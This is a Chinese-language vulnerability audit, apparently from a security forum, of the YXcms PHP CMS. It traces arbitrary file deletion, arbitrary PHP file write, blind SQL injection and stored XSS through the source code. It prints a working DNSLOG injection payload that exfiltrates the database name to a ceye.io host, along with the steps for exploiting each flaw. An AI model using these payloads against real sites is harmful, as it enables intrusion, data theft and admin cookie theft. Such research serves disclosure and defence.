CMS说明

Yxcms是一款高效,灵活,实用,免费的企业建站系统,基于PHP和mysql技术,让您拥有更加专业的企业建站和企业网站制作服务

这个cms采用mvc框架,入口文件为index.php,后台功能url为/index.php?r=admin/控制器/方法

任意文件删除

定位到photo控制器,此控制器对图片进行处理,对应的文件为photoController.php,在\protected\apps\admin\controller下。
漏洞发生在第355行的delpic()方法

可以看到,需要我们post传入一个picname,虽然说这里要求我们删除图片用file_exists对文件进行检测,但是,并没有对我们传入的文件进行检测,也没用对.,/进行过滤,存在就直接删除。所以就导致可以进行任意文件删除。

漏洞验证

这里我将install.lock删除

post后,虽然会提示缩略图不存在,但是文件已经成功删除

任意文件写入

定位到set控制器的tpadd方法,该方法对模板文件进行修改,对应的文件为setController.php,在\protected\apps\admin\controller下。tpadd方法在140行

首先,对我们传入的Mname参数进行判断,如果为空,就会error提示 非法操作。所以我们传入一个default模板。http://127.0.0.1/cms/YXcms/index.php?r=admin/set/tpadd&Mname=default

可以看到 我们只能添加php文件,而且对于文件的内容,仅用stripcslashes()函数进行了处理,官方手册给出的解释是:返回反转义后的字符串,也就是去掉转义符号,一般来说是\

漏洞验证

创建一个hu3sky.php

调试看一下文件路径

然后访问

SQL注入

定位到fragment控制器的del方法,对应的文件为fragmentController.php,在\protected\apps\admin\controller下。del方法在63行

由于我们会POST,所以跟到else里,首先用implode()函数进行处理,该函数将一个一维数组的值转化为字符串,接着调用delete方法进行删除。
跟进到delete方法。在protected\base\model\model.php里的第45行

再跟进delete().该方法在protected\include\core\cpModel.class.php的第146行。

可以看到sql语句并没有单引号进行包裹。
继续跟进_parseCondition() 在当前文件的第223行,对解析条件进行了说明

继续跟进
在该文件的第36行发现了对解析条件的处理

用全局搜索parseCondition(),发现在protected\include\core\db\cpMysql.class.php中第128行定义了该函数

第136行调用了escape()对value进行处理。
继续跟进escape()

发现只有当我们传入的值为数组的时候,才会用mysql_real_escape_string()函数进行处理。由于注入语句并没有单引号包裹,所以说可以直接进行注入,但是没有页面的回显,可以用DNSLOG进行注入

漏洞验证

首先需要去 http://ceye.io 注册一个账号,这里我接收DNS请求的连接为2c4lgt.ceye.io
然后,在http://127.0.0.1/cms/YXcms/index.php?r=admin/fragment/index页面。对某一个id进行删除

获取数据库的payload为1 and if((select load_file(concat('\\\\',(select database()),'.2c4lgt.ceye.io\\abc'))),1,1)--+
然后抓包将id改为payload
接着就会在DNS请求中获得外带数据

前台XSS

未登录的用户可以直接在前台留言,打到管理员的cookie
前台留言处
protected\apps\default\controller\columnController.php

留言数据直接插入到数据库中
管理员编辑留言的文件在
\protected\apps\admin\controller\extendfieldController.php
也是直接从数据库中拿出来,底层没有任何过滤

漏洞验证

在前台留言

接着 管理员想要回复留言,就必须点击编辑
弹框

参考文章

https://www.jianshu.com/p/95c814c515a2 【SQL注入奇巧淫技——利用DNSLOG获取看不到的信息(给盲注带上眼镜)】

点击收藏 | 0 关注 | 1
登录 后跟帖